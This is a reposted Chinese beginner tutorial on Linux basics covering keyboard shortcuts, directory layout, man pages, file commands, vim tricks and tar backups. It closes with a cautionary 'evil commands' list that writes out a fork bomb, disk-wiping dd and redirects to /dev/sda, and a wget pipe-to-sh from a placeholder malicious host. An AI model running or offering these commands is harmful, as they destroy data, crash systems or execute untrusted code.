码迷,mamicode.com
首页 > 系统相关 > 详细

Linux基础命令、快捷键、命令操作

时间:2017-08-17 12:38:50      阅读:200      评论:0      收藏:0      [点我收藏+]

标签:linux基础

                      Linux基础操作、快捷键、命令

Linux命令的执行过程

      命令----shell(命令解释器)-----内核(kernel);

      根据命令是否是shell的一部分,将命令分为内部命令和外部命令;内部是shell的一部分,外部命令是由安装软件提供



常用快捷键:

ctrl+c-->取消终止命令

ctrl+l-->清楚屏幕

ctrl+a-->光标移动到行首

ctrl+e-->光标移动到行尾

ctrl+f-->向前移动

ctrl+b-->向后移动

alt+.-->引用上一条命令的最后参数

tab-->补齐,一个tab补齐命令或参数,两个tab显示字母开头的所有命令




Linux文件系统

 1)文件名称严格区分大小写

 2)文件名称可使用/以外的任意字符,特殊字符不推荐使用

 3 )文件名不可查过255个字符(这个就看就行了,谁心那么大)

 4)以.开头的文件是隐藏文件,但是有两个特殊的:

    .:表示当前目录。

    ..:当前目录的上一级目录。

   如:/etc/init.d/

     .表/etc/init.d/

     ..表/etc

   echo 3 > /proc/sys/vm/drop_caches 清除内存

5)相对路径:根据当前的目录做描述

      绝对路径:根据/目录开始做描述

 Linux一切皆文件,所有文件都放在目录下(/)

 文件/目录对应关系 相对路径/绝对路径


常用目录的对应关系

/boot  ##启动文件存放目录

/etc   ##配置文件存放目录

/proc  ##系统内存状态目录,是系统快照

/dev   ##存放硬件文件的目录

/home  ##普通用户的家目录

/root  ##root用户的家目录

/var   ##动态变化的数据存放目录,如日志、数据库的数据文件

/usr   ##用户文件存放目录






Linux的帮助命令

 lhelp:内部命令帮助(help cd)(ls --help) 

 

   man:命令手册(man 命令):详细介绍命令的使用

                man的区域类型: 格式:man 1/5/8 命令/文件

                 1-->用户命令

                 5-->配置文件的格式帮助

                 8-->管理员管理工具的帮助

                           

基本结构

sections(区域)

name(名字)

synopsis(命令的语法)

description(描述解释命令)

option(选项)

EXAMPLE(使用的案例,经使用)

author(作者)

seealso(其他相关帮助)



Linux常用的增、删、改、查

常用目录的对应关系

/boot  ##启动文件存放目录

/etc   ##配置文件存放目录

/proc  ##系统内存状态目录,是系统快照

/dev   ##存放硬件文件的目录

/home  ##普通用户的家目录

/root  ##root用户的家目录

/var   ##动态变化的数据存放目录,如日志、数据库的数据文件

/usr   ##用户文件存放目录

查看:cd pwd ls du which find cat more/less head/tail grep wc,


目录的查看:cd,pwd,ls,du

 cd:目录的管理,切换目录

(  cd /etc/sysconfig   ##进入绝对目录

     cd ../../   ##到根目录

      cd -   ##回到上一所在目录

     pwd  ##验证

     cd   ##回家

     pwd

     useradd  u01  ##创建用户u01

     e cho 123123 |passwd --stdin u01  ##给u01修改密码为123123

     cd  ~u01   ##进入u01的家目录

      pwd  ##验证为/home/u01)

 pwd:查看当前工作目录

      (pwd  ##直接查看当前工作目录即“.=?”

          cd  /etc/init.d/ 

          pwd  ##查看到是链接后的目录

          pwd -P  ##查看物理路径/etc/rc.d/init.d)

 ls:列出当前目录下文件

    (-lh   ##长格式查看当前目录下的内容

        -ld  /boot  ##查看/boot本身的详细信息

         -R  /   ##显示整个系统的所有内容

         --help  ##查看帮助,推荐使用-lt按时间排序,-lS按大小排序

        -a  ##显示隐藏文件如.bash_profile)

du:统计文件或目录大小

       (du -sh /  ##统计根目录总大小

           du -sh /*  ##统计根目录的子目录的总大小

           du -sh /etc/redhat-release   ##统计单个文件大小)


文件的删和改:rm、mv、vi/vim

rm:删除文件或目录

mv:移动或修改文件名称,位置

vi/vim:修改创建文件

       (:% g/^$/d  ##删除空行

          :% g/^#/d  ##删除#开始的行

          : !ip  a   ##在vi中执行命令

           ctrl+r  ##重做,与u撤销相反



文件的增加:mkdir、touch、ln、cp

mkdir:创建目录

touch:创建文件

ln:创建文件目录的超链接

cp:复制文件或目录



tar备份系统:gzip,bzip2,xz,tar

tar  -zcvf  文件名称-日期.tar.gz  备份的目录或文件  ##调用gzip

tar  -jcvf  文件名称-日期.tar.bzp2  备份的目录或文件  ##调用bzip2

tar  -Jcvf  文件名称-日期.tar.xz  备份的目录或文件  ##调用xz

恢复:解压缩

tar -zxvf  文件名称-日期.tar.gz  -C  释放的目录  ##其他格式相同

查看压缩包中的内容:

tar  -ztvf  文件名称-日期.tar.gz   ##不解压查看,其他格式相同


次文档皆是一下比较简单的操作命令,与一些比较简单的简介,皆是参考

 Linux的操作需要我们长时间的积累,这需要我们付出时间与精力去学习



   邪恶的操作命令


 rm-rf 命令

:(){:|:&};: 命令    ## fork 炸弹具体操作是通过定义一个名为 ‘:‘的函数,它     会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

命令 >/dev/sda

mv 文件夹 /dev/null

wget http://malicious_source -O- | sh #sh会(无条件的)执行下载下来的脚本

 > file

dd if=/dev/random of=/dev/sda   ##会向块设备sda写入随机的垃圾文件从而擦出数据,你的系统可能陷入混乱和不可恢复的状态




             

Linux基础命令、快捷键、命令操作

标签:linux基础

原文地址:http://12653557.blog.51cto.com/12643557/1957004

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!